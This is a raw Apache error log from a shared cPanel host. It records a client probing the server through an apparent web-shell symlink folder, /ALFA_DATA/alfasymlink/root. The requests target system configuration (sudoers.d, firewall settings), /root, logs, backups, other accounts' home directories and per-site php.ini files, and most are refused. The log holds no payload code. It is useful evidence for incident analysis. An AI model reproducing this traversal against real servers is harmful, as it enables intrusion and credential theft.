[Sun Oct 25 14:26:55.446506 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:26:55.446521 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
[Sun Oct 25 14:26:55.446549 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:26:55.446563 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:26:55.446576 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:26:55.446604 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:26:55.446618 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/cpanel-server-traffic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/cpanel-server-traffic/' is executable
[Sun Oct 25 14:26:55.446630 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:26:55.446649 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:26:55.446668 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Sun Oct 25 14:26:55.446681 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
[Sun Oct 25 14:26:55.446698 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:26:55.446716 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:26:55.446730 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:26:55.447096 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/audit/' is executable
[Sun Oct 25 14:26:55.447276 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/private/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/private/' is executable
[Sun Oct 25 14:26:55.447505 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/archive/' is executable
[Sun Oct 25 14:26:55.447644 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/nginx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/nginx/' is executable
[Sun Oct 25 14:26:55.447863 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/dcpumon/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/dcpumon/' is executable
[Sun Oct 25 14:26:55.448085 2026] [autoindex:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:50933] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cursodeventas/
[Sun Oct 25 14:26:55.448408 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/chrony/' is executable
[Sun Oct 25 14:26:55.450523 2026] [autoindex:error] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:50938] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cpanel/
[Sun Oct 25 14:26:56.129576 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51132] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sun Oct 25 14:26:56.129659 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51132] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sun Oct 25 14:26:56.136179 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:51170] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/error_log
[Sun Oct 25 14:26:56.136903 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:51174] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Sun Oct 25 14:26:56.137257 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:51174] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:26:56.141484 2026] [authz_core:error] [pid 2875828:tid 2875828] [client 76.135.135.39:51169] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:26:56.144107 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:51172] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/input/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/input/' is executable
[Sun Oct 25 14:26:56.144222 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:51172] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/msglog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/msglog/' is executable
[Sun Oct 25 14:26:56.144243 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:51172] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/scan/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/scan/' is executable
[Sun Oct 25 14:26:56.234008 2026] [autoindex:error] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:51175] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/apache2/
[Sun Oct 25 14:26:56.948424 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:51443] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/csf/' is executable
[Sun Oct 25 14:26:58.126777 2026] [autoindex:error] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:51731] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/virtfs/
[Sun Oct 25 14:26:58.321439 2026] [autoindex:error] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:51737] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/backup/
[Sun Oct 25 14:26:58.422744 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Sun Oct 25 14:26:58.423001 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Sun Oct 25 14:26:58.423182 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Sun Oct 25 14:26:58.425165 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Sun Oct 25 14:26:58.425350 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
[Sun Oct 25 14:26:58.425769 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Sun Oct 25 14:26:58.426019 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Sun Oct 25 14:26:58.431901 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:51781] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/arg2/php.ini
[Sun Oct 25 14:26:58.432003 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Sun Oct 25 14:26:58.433936 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51779] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Sun Oct 25 14:26:58.551785 2026] [authz_core:error] [pid 2875807:tid 2875807] [client 76.135.135.39:51784] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/arg1/php.ini
[Sun Oct 25 14:26:58.894046 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 34.203.111.15:54236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:26:59.132124 2026] [authz_core:error] [pid 2875804:tid 2875804] [client 76.135.135.39:51924] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/casarin2/error_log
[Sun Oct 25 14:26:59.373418 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:52005] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/casarin1/error_log
[Sun Oct 25 14:26:59.457785 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:52053] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/col1/php.ini
[Sun Oct 25 14:26:59.562102 2026] [authz_core:error] [pid 2875790:tid 2875790] [client 76.135.135.39:52056] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/col2/php.ini
[Sun Oct 25 14:26:59.589706 2026] [authz_core:error] [pid 2878642:tid 2878642] [client 76.135.135.39:52069] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/corp1/php.ini
[Sun Oct 25 14:26:59.590180 2026] [authz_core:error] [pid 2878642:tid 2878642] [client 76.135.135.39:52069] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/corp1/error_log
[Sun Oct 25 14:26:59.602124 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52074] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/corp2/php.ini
[Sun Oct 25 14:26:59.613249 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52074] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/corp2/error_log
[Sun Oct 25 14:26:59.624010 2026] [authz_core:error] [pid 2875821:tid 2875821] [client 76.135.135.39:52075] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/contacto/php.ini
[Sun Oct 25 14:26:59.766189 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:52144] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/escu.com/php.ini
[Sun Oct 25 14:26:59.784778 2026] [authz_core:error] [pid 2879786:tid 2879786] [client 76.135.135.39:52156] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/escuelas1.com/php.ini
[Sun Oct 25 14:26:59.909238 2026] [authz_core:error] [pid 2875790:tid 2875790] [client 76.135.135.39:52191] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/escuelas2.com/php.ini
[Sun Oct 25 14:26:59.956805 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52195] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/hosp1/error_log
[Sun Oct 25 14:26:59.961654 2026] [authz_core:error] [pid 2875821:tid 2875821] [client 76.135.135.39:52193] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/farma1/error_log
[Sun Oct 25 14:26:59.965703 2026] [authz_core:error] [pid 2879779:tid 2879779] [client 76.135.135.39:52194] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/farma2/error_log
[Sun Oct 25 14:27:00.049012 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:52207] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/hosp2/error_log
[Sun Oct 25 14:27:00.094652 2026] [authz_core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:52220] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/hosp3/error_log
[Sun Oct 25 14:27:00.116888 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 76.135.135.39:52219] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/hosp4/error_log
[Sun Oct 25 14:27:00.344182 2026] [authz_core:error] [pid 2879786:tid 2879786] [client 76.135.135.39:52285] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/ia1/php.ini
[Sun Oct 25 14:27:00.344914 2026] [authz_core:error] [pid 2878642:tid 2878642] [client 76.135.135.39:52280] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/hoteles4/error_log
[Sun Oct 25 14:27:00.346366 2026] [authz_core:error] [pid 2875804:tid 2875804] [client 76.135.135.39:52295] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/miescurlax.com/php.ini
[Sun Oct 25 14:27:00.499001 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:52321] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 14:27:00.509431 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 76.135.135.39:52370] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/plantas2/php.ini
[Sun Oct 25 14:27:00.509507 2026] [authz_core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:52365] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/monster/php.ini
[Sun Oct 25 14:27:00.511064 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52368] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/plantas3/php.ini
[Sun Oct 25 14:27:00.549141 2026] [authz_core:error] [pid 2875807:tid 2875807] [client 76.135.135.39:52373] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/plantas1/php.ini
[Sun Oct 25 14:27:00.696114 2026] [security2:error] [pid 2879791:tid 2879791] [client 76.135.135.39:52462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/bases2/"] [unique_id "at5J9Pw4y1BYdJkQtCfkjQAAAAg"]
[Sun Oct 25 14:27:00.696156 2026] [security2:error] [pid 2879791:tid 2879791] [client 76.135.135.39:52462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/bases2/"] [unique_id "at5J9Pw4y1BYdJkQtCfkjQAAAAg"]
[Sun Oct 25 14:27:00.929165 2026] [authz_core:error] [pid 2879779:tid 2879779] [client 76.135.135.39:52454] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/sesion3/php.ini
[Sun Oct 25 14:27:01.247206 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52524] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 14:27:01.249110 2026] [authz_core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:52523] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/arg1/php.ini
[Sun Oct 25 14:27:01.391866 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:52561] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/casarin1/error_log
[Sun Oct 25 14:27:01.441365 2026] [authz_core:error] [pid 2875807:tid 2875807] [client 76.135.135.39:52591] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/casarin2/error_log
[Sun Oct 25 14:27:01.574430 2026] [authz_core:error] [pid 2879788:tid 2879788] [client 76.135.135.39:52457] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/wapi1/error_log
[Sun Oct 25 14:27:01.597618 2026] [authz_core:error] [pid 2875804:tid 2875804] [client 76.135.135.39:52628] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/col1/php.ini
[Sun Oct 25 14:27:01.674055 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 76.135.135.39:52636] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/col2/php.ini
[Sun Oct 25 14:27:01.719314 2026] [authz_core:error] [pid 2879786:tid 2879786] [client 76.135.135.39:52646] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 14:27:01.724579 2026] [authz_core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:52647] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/corp1/php.ini
[Sun Oct 25 14:27:01.724691 2026] [authz_core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:52647] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/corp1/error_log
[Sun Oct 25 14:27:01.801276 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52672] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/corp2/php.ini
[Sun Oct 25 14:27:01.801418 2026] [authz_core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:52672] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/corp2/error_log
[Sun Oct 25 14:27:01.938179 2026] [authz_core:error] [pid 2879795:tid 2879795] [client 76.135.135.39:52724] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Sun Oct 25 14:27:01.939536 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:52723] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/escu.com/php.ini
[Sun Oct 25 14:27:01.979423 2026] [authz_core:error] [pid 2879790:tid 2879790] [client 76.135.135.39:52729] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sun Oct 25 14:27:02.079781 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:52751] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/farma1/error_log
[Sun Oct 25 14:27:02.083742 2026] [authz_core:error] [pid 2879792:tid 2879792] [client 76.135.135.39:52762] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/farma2/error_log
[Sun Oct 25 14:27:02.088127 2026] [authz_core:error] [pid 2879793:tid 2879793] [client 76.135.135.39:52767] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hosp1/error_log
